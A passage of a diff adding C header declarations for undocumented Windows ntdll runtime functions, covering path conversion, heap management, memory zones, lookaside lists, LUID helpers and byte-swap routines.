SIZE_T NewEnvironmentSize +); + +#endif // !_KERNEL_MODE + +// +// Directory and path support +// + +#ifndef _KERNEL_MODE + +typedef struct _RTLP_CURDIR_REF +{ + LONG ReferenceCount; + HANDLE DirectoryHandle; +} RTLP_CURDIR_REF, * PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U +{ + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +} RTL_RELATIVE_NAME_U, * PRTL_RELATIVE_NAME_U; + +typedef enum _RTL_PATH_TYPE +{ + RtlPathTypeUnknown, + RtlPathTypeUncAbsolute, + RtlPathTypeDriveAbsolute, + RtlPathTypeDriveRelative, + RtlPathTypeRooted, + RtlPathTypeRelative, + RtlPathTypeLocalDevice, + RtlPathTypeRootLocalDevice +} RTL_PATH_TYPE; + +// Data exports (ntdll.lib/ntdllp.lib) + +NTSYSAPI PWSTR RtlNtdllName; +NTSYSAPI UNICODE_STRING RtlDosPathSeperatorsString; +NTSYSAPI UNICODE_STRING RtlAlternateDosPathSeperatorString; +NTSYSAPI UNICODE_STRING RtlNtPathSeperatorString; + +// Path functions + +NTSYSAPI +RTL_PATH_TYPE +NTAPI +RtlDetermineDosPathNameType_U( + _In_ PCWSTR DosFileName +); + +NTSYSAPI +RTL_PATH_TYPE +NTAPI +RtlDetermineDosPathNameType_Ustr( + _In_ PCUNICODE_STRING DosFileName +); + +NTSYSAPI +ULONG +NTAPI +RtlIsDosDeviceName_U( + _In_ PCWSTR DosFileName +); + +NTSYSAPI +ULONG +NTAPI +RtlIsDosDeviceName_Ustr( + _In_ PUNICODE_STRING DosFileName +); + +NTSYSAPI +ULONG +NTAPI +RtlGetFullPathName_U( + _In_ PCWSTR FileName, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR* FilePart +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFullPathName_UEx( + _In_ PCWSTR FileName, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ ULONG* BytesRequired +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFullPathName_UstrEx( + _In_ PUNICODE_STRING FileName, + _Inout_ PUNICODE_STRING StaticString, + _Out_opt_ PUNICODE_STRING DynamicString, + _Out_opt_ PUNICODE_STRING* StringUsed, + _Out_opt_ SIZE_T* FilePartPrefixCch, + _Out_opt_ PBOOLEAN NameInvalid, + _Out_ RTL_PATH_TYPE* InputPathType, + _Out_opt_ SIZE_T* BytesRequired +); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentDirectory_U( + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetCurrentDirectory_U( + _In_ PUNICODE_STRING PathName +); + +NTSYSAPI +ULONG +NTAPI +RtlGetLongestNtPathLength( + VOID +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlDosPathNameToNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDosLongPathNameToNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToRelativeNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlDosPathNameToRelativeNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDosLongPathNameToRelativeNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +VOID +NTAPI +RtlReleaseRelativeName( + _Inout_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlDosSearchPath_U( + _In_ PCWSTR Path, + _In_ PCWSTR FileName, + _In_opt_ PCWSTR Extension, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR* FilePart +); + +#define RTL_DOS_SEARCH_PATH_FLAG_APPLY_ISOLATION_REDIRECTION 0x00000001 +#define RTL_DOS_SEARCH_PATH_FLAG_DISALLOW_DOT_RELATIVE_PATH_SEARCH 0x00000002 +#define RTL_DOS_SEARCH_PATH_FLAG_APPLY_DEFAULT_EXTENSION_WHEN_NOT_RELATIVE_PATH_EVEN_IF_FILE_HAS_EXTENSION 0x00000004 + +NTSYSAPI +NTSTATUS +NTAPI +RtlDosSearchPath_Ustr( + _In_ ULONG Flags, + _In_ PUNICODE_STRING Path, + _In_ PUNICODE_STRING FileName, + _In_opt_ PUNICODE_STRING DefaultExtension, + _Out_opt_ PUNICODE_STRING StaticString, + _Out_opt_ PUNICODE_STRING DynamicString, + _Out_opt_ PCUNICODE_STRING* FullFileNameOut, + _Out_opt_ SIZE_T* FilePartPrefixCch, + _Out_opt_ SIZE_T* BytesRequired +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDoesFileExists_U( + _In_ PCWSTR FileName +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLengthWithoutLastFullDosOrNtPathElement( + _Reserved_ ULONG Flags, + _In_ PUNICODE_STRING PathString, + _Out_ PULONG Length +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLengthWithoutTrailingPathSeperators( + _Reserved_ ULONG Flags, + _In_ PUNICODE_STRING PathString, + _Out_ PULONG Length +); + +typedef struct _GENERATE_NAME_CONTEXT +{ + USHORT Checksum; + BOOLEAN CheckSumInserted; + UCHAR NameLength; + WCHAR NameBuffer[8]; + ULONG ExtensionLength; + WCHAR ExtensionBuffer[4]; + ULONG LastIndexValue; +} GENERATE_NAME_CONTEXT, * PGENERATE_NAME_CONTEXT; + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlGenerate8dot3Name( + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN AllowExtendedCharacters, + _Inout_ PGENERATE_NAME_CONTEXT Context, + _Inout_ PUNICODE_STRING Name8dot3 +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlComputePrivatizedDllName_U( + _In_ PUNICODE_STRING DllName, + _Out_ PUNICODE_STRING RealName, + _Out_ PUNICODE_STRING LocalName +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSearchPath( + _Out_ PWSTR* SearchPath +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSearchPathMode( + _In_ ULONG Flags +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetExePath( + _In_ PCWSTR DosPathName, + _Out_ PWSTR* SearchPath +); + +// rev +NTSYSAPI +VOID +NTAPI +RtlReleasePath( + _In_ PWSTR Path +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +PCWSTR +NTAPI +RtlGetNtSystemRoot( + VOID +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlAreLongPathsEnabled( + VOID +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsThreadWithinLoaderCallout( + VOID +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDllShutdownInProgress( + VOID +); + +#endif // !_KERNEL_MODE + +// +// Heaps +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_HEAP_ENTRY +{ + SIZE_T Size; + USHORT Flags; + USHORT AllocatorBackTraceIndex; + union + { + struct + { + SIZE_T Settable; + ULONG Tag; + } s1; + struct + { + SIZE_T CommittedSize; + PVOID FirstBlock; + } s2; + } u; +} RTL_HEAP_ENTRY, * PRTL_HEAP_ENTRY; + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00e0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +typedef struct _RTL_HEAP_TAG +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[24]; +} RTL_HEAP_TAG, * PRTL_HEAP_TAG; + +typedef struct _RTL_HEAP_INFORMATION +{ + PVOID BaseAddress; + ULONG Flags; + USHORT EntryOverhead; + USHORT CreatorBackTraceIndex; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + ULONG NumberOfTags; + ULONG NumberOfEntries; + ULONG NumberOfPseudoTags; + ULONG PseudoTagGranularity; + ULONG Reserved[5]; + PRTL_HEAP_TAG Tags; + PRTL_HEAP_ENTRY Entries; + ULONG64 HeapTag; // Windows 11 > 22000 +} RTL_HEAP_INFORMATION, * PRTL_HEAP_INFORMATION; + +#define RTL_HEAP_SIGNATURE 0xFFEEFFEEUL +#define RTL_HEAP_SEGMENT_SIGNATURE 0xDDEEDDEEUL + +typedef struct _RTL_PROCESS_HEAPS +{ + ULONG NumberOfHeaps; + RTL_HEAP_INFORMATION Heaps[1]; +} RTL_PROCESS_HEAPS, * PRTL_PROCESS_HEAPS; + +typedef +_Function_class_(RTL_HEAP_COMMIT_ROUTINE) +_IRQL_requires_same_ +NTSTATUS +NTAPI +RTL_HEAP_COMMIT_ROUTINE( + _In_ PVOID Base, + _Inout_ PVOID* CommitAddress, + _Inout_ PSIZE_T CommitSize +); +typedef RTL_HEAP_COMMIT_ROUTINE* PRTL_HEAP_COMMIT_ROUTINE; + +typedef struct _RTL_HEAP_PARAMETERS +{ + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, * PRTL_HEAP_PARAMETERS; + +#define HEAP_SETTABLE_USER_VALUE 0x00000100 +#define HEAP_SETTABLE_USER_FLAG1 0x00000200 +#define HEAP_SETTABLE_USER_FLAG2 0x00000400 +#define HEAP_SETTABLE_USER_FLAG3 0x00000800 +#define HEAP_SETTABLE_USER_FLAGS 0x00000e00 + +#define HEAP_CLASS_0 0x00000000 // Process heap +#define HEAP_CLASS_1 0x00001000 // Private heap +#define HEAP_CLASS_2 0x00002000 // Kernel heap +#define HEAP_CLASS_3 0x00003000 // GDI heap +#define HEAP_CLASS_4 0x00004000 // User heap +#define HEAP_CLASS_5 0x00005000 // Console heap +#define HEAP_CLASS_6 0x00006000 // User desktop heap +#define HEAP_CLASS_7 0x00007000 // CSR shared heap +#define HEAP_CLASS_8 0x00008000 // CSR port heap +#define HEAP_CLASS_MASK 0x0000f000 + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlCreateHeap( + _In_ ULONG Flags, + _In_opt_ PVOID HeapBase, + _In_opt_ SIZE_T ReserveSize, + _In_opt_ SIZE_T CommitSize, + _In_opt_ PVOID Lock, + _In_opt_ PRTL_HEAP_PARAMETERS Parameters +); + +NTSYSAPI +PVOID +NTAPI +RtlDestroyHeap( + _In_ _Post_invalid_ PVOID HeapHandle +); + +_Must_inspect_result_ +_Ret_maybenull_ +_Post_writable_byte_size_(Size) +NTSYSAPI +PVOID +NTAPI +RtlAllocateHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _In_ SIZE_T Size +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_Success_(return != 0) +NTSYSAPI +LOGICAL +NTAPI +RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _Frees_ptr_opt_ PVOID BaseAddress +); +#else +_Success_(return) +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _Frees_ptr_opt_ PVOID BaseAddress +); +#endif + +#endif // !_KERNEL_MODE + +NTSYSAPI +SIZE_T +NTAPI +RtlSizeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlZeroHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlProtectHeap( + _In_ PVOID HeapHandle, + _In_ BOOLEAN MakeReadOnly +); + +#endif // !_KERNEL_MODE + +#define RtlProcessHeap() (NtCurrentPeb()->ProcessHeap) + +#ifndef _KERNEL_MODE + +NTSYSAPI +BOOLEAN +NTAPI +RtlLockHeap( + _In_ PVOID HeapHandle +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlUnlockHeap( + _In_ PVOID HeapHandle +); + +NTSYSAPI +PVOID +NTAPI +RtlReAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _Frees_ptr_opt_ PVOID BaseAddress, + _In_ SIZE_T Size +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetUserInfoHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _Out_opt_ PVOID * UserValue, + _Out_opt_ PULONG UserFlags +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlSetUserValueHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ PVOID UserValue +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlSetUserFlagsHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ ULONG UserFlagsReset, + _In_ ULONG UserFlagsSet +); + +typedef struct _RTL_HEAP_TAG_INFO +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; +} RTL_HEAP_TAG_INFO, * PRTL_HEAP_TAG_INFO; + +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS + +NTSYSAPI +ULONG +NTAPI +RtlCreateTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_opt_ PWSTR TagPrefix, + _In_ PWSTR TagNames +); + +NTSYSAPI +PWSTR +NTAPI +RtlQueryTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ USHORT TagIndex, + _In_ BOOLEAN ResetCounters, + _Out_opt_ PRTL_HEAP_TAG_INFO TagInfo +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlExtendHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID Base, + _In_ SIZE_T Size +); + +NTSYSAPI +SIZE_T +NTAPI +RtlCompactHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateProcessHeaps( + VOID +); + +NTSYSAPI +ULONG +NTAPI +RtlGetProcessHeaps( + _In_ ULONG NumberOfHeaps, + _Out_ PVOID * ProcessHeaps +); + +typedef NTSTATUS(NTAPI* PRTL_ENUM_HEAPS_ROUTINE)( + _In_ PVOID HeapHandle, + _In_ PVOID Parameter + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnumProcessHeaps( + _In_ PRTL_ENUM_HEAPS_ROUTINE EnumRoutine, + _In_ PVOID Parameter +); + +typedef struct _RTL_HEAP_USAGE_ENTRY +{ + struct _RTL_HEAP_USAGE_ENTRY* Next; + PVOID Address; + SIZE_T Size; + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; +} RTL_HEAP_USAGE_ENTRY, * PRTL_HEAP_USAGE_ENTRY; + +typedef struct _RTL_HEAP_USAGE +{ + ULONG Length; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + SIZE_T BytesReserved; + SIZE_T BytesReservedMaximum; + PRTL_HEAP_USAGE_ENTRY Entries; + PRTL_HEAP_USAGE_ENTRY AddedEntries; + PRTL_HEAP_USAGE_ENTRY RemovedEntries; + ULONG_PTR Reserved[8]; +} RTL_HEAP_USAGE, * PRTL_HEAP_USAGE; + +#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY +#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY + +NTSYSAPI +NTSTATUS +NTAPI +RtlUsageHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _Inout_ PRTL_HEAP_USAGE Usage +); + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, * PRTL_HEAP_WALK_ENTRY; + +NTSYSAPI +NTSTATUS +NTAPI +RtlWalkHeap( + _In_ PVOID HeapHandle, + _Inout_ PRTL_HEAP_WALK_ENTRY Entry +); + +// HEAP_INFORMATION_CLASS +#define HeapCompatibilityInformation ((HEAP_INFORMATION_CLASS)0x0 ) // q; s: ULONG +#define HeapEnableTerminationOnCorruption ((HEAP_INFORMATION_CLASS)0x1 ) // q; s: NULL +#define HeapExtendedInformation ((HEAP_INFORMATION_CLASS)0x2 ) // q; s: HEAP_EXTENDED_INFORMATION +#define HeapOptimizeResources ((HEAP_INFORMATION_CLASS)0x3 ) // q; s: HEAP_OPTIMIZE_RESOURCES_INFORMATION +#define HeapTaggingInformation ((HEAP_INFORMATION_CLASS)0x4 ) +#define HeapStackDatabase ((HEAP_INFORMATION_CLASS)0x5 ) +#define HeapMemoryLimit ((HEAP_INFORMATION_CLASS)0x6 ) // 19H2 +#define HeapDetailedFailureInformation ((HEAP_INFORMATION_CLASS)0x80000001) +#define HeapSetDebuggingInformation ((HEAP_INFORMATION_CLASS)0x80000002) // q; s: HEAP_DEBUGGING_INFORMATION + +typedef enum _HEAP_COMPATIBILITY_MODE +{ + HEAP_COMPATIBILITY_STANDARD = 0UL, + HEAP_COMPATIBILITY_LAL = 1UL, + HEAP_COMPATIBILITY_LFH = 2UL, +} HEAP_COMPATIBILITY_MODE; + +typedef struct _PROCESS_HEAP_INFORMATION +{ + ULONG_PTR ReserveSize; + ULONG_PTR CommitSize; + ULONG NumberOfHeaps; + ULONG_PTR FirstHeapInformationOffset; +} PROCESS_HEAP_INFORMATION, * PPROCESS_HEAP_INFORMATION; + +typedef struct _HEAP_INFORMATION +{ + ULONG_PTR Address; + ULONG Mode; + ULONG_PTR ReserveSize; + ULONG_PTR CommitSize; + ULONG_PTR FirstRegionInformationOffset; + ULONG_PTR NextHeapInformationOffset; +} HEAP_INFORMATION, * PHEAP_INFORMATION; + +typedef struct _HEAP_EXTENDED_INFORMATION +{ + HANDLE Process; + ULONG_PTR Heap; + ULONG Level; + PVOID CallbackRoutine; + PVOID CallbackContext; + union + { + PROCESS_HEAP_INFORMATION ProcessHeapInformation; + HEAP_INFORMATION HeapInformation; + }; +} HEAP_EXTENDED_INFORMATION, * PHEAP_EXTENDED_INFORMATION; + +// rev +typedef NTSTATUS(NTAPI* PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( + _In_ LONG Reserved, + _In_ PVOID HeapHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T BlockSize, + _In_ ULONG StackTraceDepth, + _In_ PVOID* StackTrace + ); + +// symbols +typedef struct _HEAP_DEBUGGING_INFORMATION +{ + PVOID InterceptorFunction; + USHORT InterceptorValue; + ULONG ExtendedOptions; + ULONG StackTraceDepth; + SIZE_T MinTotalBlockSize; + SIZE_T MaxTotalBlockSize; + PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; +} HEAP_DEBUGGING_INFORMATION, * PHEAP_DEBUGGING_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _Out_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _In_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength +); + +NTSYSAPI +ULONG +NTAPI +RtlMultipleAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size, + _In_ ULONG Count, + _Out_ PVOID * Array +); + +NTSYSAPI +ULONG +NTAPI +RtlMultipleFreeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ ULONG Count, + _In_ PVOID * Array +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +VOID +NTAPI +RtlDetectHeapLeaks( + VOID +); +#endif + +NTSYSAPI +VOID +NTAPI +RtlFlushHeaps( + VOID +); + +#endif // !_KERNEL_MODE + +// +// Memory zones +// + +#ifndef _KERNEL_MODE + +// begin_private +typedef struct _RTL_MEMORY_ZONE_SEGMENT +{ + struct _RTL_MEMORY_ZONE_SEGMENT* NextSegment; + SIZE_T Size; + PVOID Next; + PVOID Limit; +} RTL_MEMORY_ZONE_SEGMENT, * PRTL_MEMORY_ZONE_SEGMENT; + +typedef struct _RTL_MEMORY_ZONE +{ + RTL_MEMORY_ZONE_SEGMENT Segment; + RTL_SRWLOCK Lock; + ULONG LockCount; + PRTL_MEMORY_ZONE_SEGMENT FirstSegment; +} RTL_MEMORY_ZONE, * PRTL_MEMORY_ZONE; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateMemoryZone( + _Out_ PVOID* MemoryZone, + _In_ SIZE_T InitialSize, + _Reserved_ ULONG Flags +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyMemoryZone( + _In_ _Post_invalid_ PVOID MemoryZone +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateMemoryZone( + _In_ PVOID MemoryZone, + _In_ SIZE_T BlockSize, + _Out_ PVOID* Block +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlResetMemoryZone( + _In_ PVOID MemoryZone +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLockMemoryZone( + _In_ PVOID MemoryZone +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockMemoryZone( + _In_ PVOID MemoryZone +); +#endif +// end_private + +#endif // !_KERNEL_MODE + +// +// Memory block lookaside lists +// + +#ifndef _KERNEL_MODE + +// begin_private +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateMemoryBlockLookaside( + _Out_ PVOID* MemoryBlockLookaside, + _Reserved_ ULONG Flags, + _In_ ULONG InitialSize, + _In_ ULONG MinimumBlockSize, + _In_ ULONG MaximumBlockSize +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ ULONG BlockSize, + _Out_ PVOID* Block +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ PVOID Block +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlExtendMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside, + _In_ ULONG Increment +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlResetMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLockMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockMemoryBlockLookaside( + _In_ PVOID MemoryBlockLookaside +); +#endif +// end_private + +#endif // !_KERNEL_MODE + +// +// Transactions +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +HANDLE +NTAPI +RtlGetCurrentTransaction( + VOID +); + +// private +NTSYSAPI +LOGICAL +NTAPI +RtlSetCurrentTransaction( + _In_ HANDLE TransactionHandle +); +#endif + +#endif // _KERNEL_MODE + +// +// LUIDs +// + +#ifndef _KERNEL_MODE + +FORCEINLINE BOOLEAN RtlIsEqualLuid( // RtlEqualLuid + _In_ PLUID L1, + _In_ PLUID L2 +) +{ + return L1->LowPart == L2->LowPart && + L1->HighPart == L2->HighPart; +} + +#define RtlEqualLuid RtlIsEqualLuid + +FORCEINLINE BOOLEAN RtlIsZeroLuid( + _In_ PLUID L1 +) +{ + return (L1->LowPart | L1->HighPart) == 0; +} + +FORCEINLINE LUID RtlConvertLongToLuid( + _In_ LONG Long +) +{ + LUID tempLuid; + LARGE_INTEGER tempLi; + + tempLi.QuadPart = Long; + tempLuid.LowPart = tempLi.LowPart; + tempLuid.HighPart = tempLi.HighPart; + + return tempLuid; +} + +FORCEINLINE LUID RtlConvertUlongToLuid( + _In_ ULONG Ulong +) +{ + LUID tempLuid; + + tempLuid.LowPart = Ulong; + tempLuid.HighPart = 0; + + return tempLuid; +} + +NTSYSAPI +VOID +NTAPI +RtlCopyLuid( + _Out_ PLUID DestinationLuid, + _In_ PLUID SourceLuid +); + +#endif // !_KERNEL_MODE + +// ros +NTSYSAPI +VOID +NTAPI +RtlCopyLuidAndAttributesArray( + _In_ ULONG Count, + _In_ PLUID_AND_ATTRIBUTES Src, + _In_ PLUID_AND_ATTRIBUTES Dest +); + +// +// Byte swap routines. +// + +#ifndef _KERNEL_MODE + +// +// Byte swap routines. These are used to convert from little-endian to +// big-endian and vice-versa. +// + +#if (defined(_M_IX86) && (_MSC_FULL_VER > 13009037)) || ((defined(_M_AMD64) || defined(_M_IA64)) && (_MSC_FULL_VER > 13009175)) || defined(_M_ARM) || defined(_M_ARM64) + +#ifdef __cplusplus +extern "C" { +#endif + _Check_return_ unsigned short __cdecl _byteswap_ushort(_In_ unsigned short); + _Check_return_ unsigned long __cdecl _byteswap_ulong(_In_ unsigned long); + _Check_return_ unsigned __int64 __cdecl _byteswap_uint64(_In_ unsigned __int64); +#ifdef __cplusplus +} +#endif +#pragma intrinsic(_byteswap_ushort) +#pragma intrinsic(_byteswap_ulong) +#pragma intrinsic(_byteswap_uint64) + +#define RtlUshortByteSwap(_x) _byteswap_ushort((USHORT)(_x)) +#define RtlUlongByteSwap(_x) _byteswap_ulong((_x)) +#define RtlUlonglongByteSwap(_x) _byteswap_uint64((_x)) + +#else + +NTSYSAPI +USHORT +FASTCALL +RtlUshortByteSwap( + _In_ USHORT Source +); + +NTSYSAPI +ULONG +FASTCALL +RtlUlongByteSwap( + _In_ ULONG Source +); + +NTSYSAPI +ULONGLONG +FASTCALL +RtlUlonglongByteSwap( + _In_ ULONGLONG Source +); +#endif + +#endif // !_KERNEL_MODE + +// +// Debugging +// + +#ifndef _KERNEL_MODE + +// private +typedef struct _RTL_PROCESS_VERIFIER_OPTIONS +{ + ULONG SizeStruct; + ULONG Option; + UCHAR OptionData[1]; +} RTL_PROCESS_VERIFIER_OPTIONS, * PRTL_PROCESS_VERIFIER_OPTIONS; + +// private +typedef struct _RTL_DEBUG_INFORMATION +{ + HANDLE SectionHandleClient; + PVOID 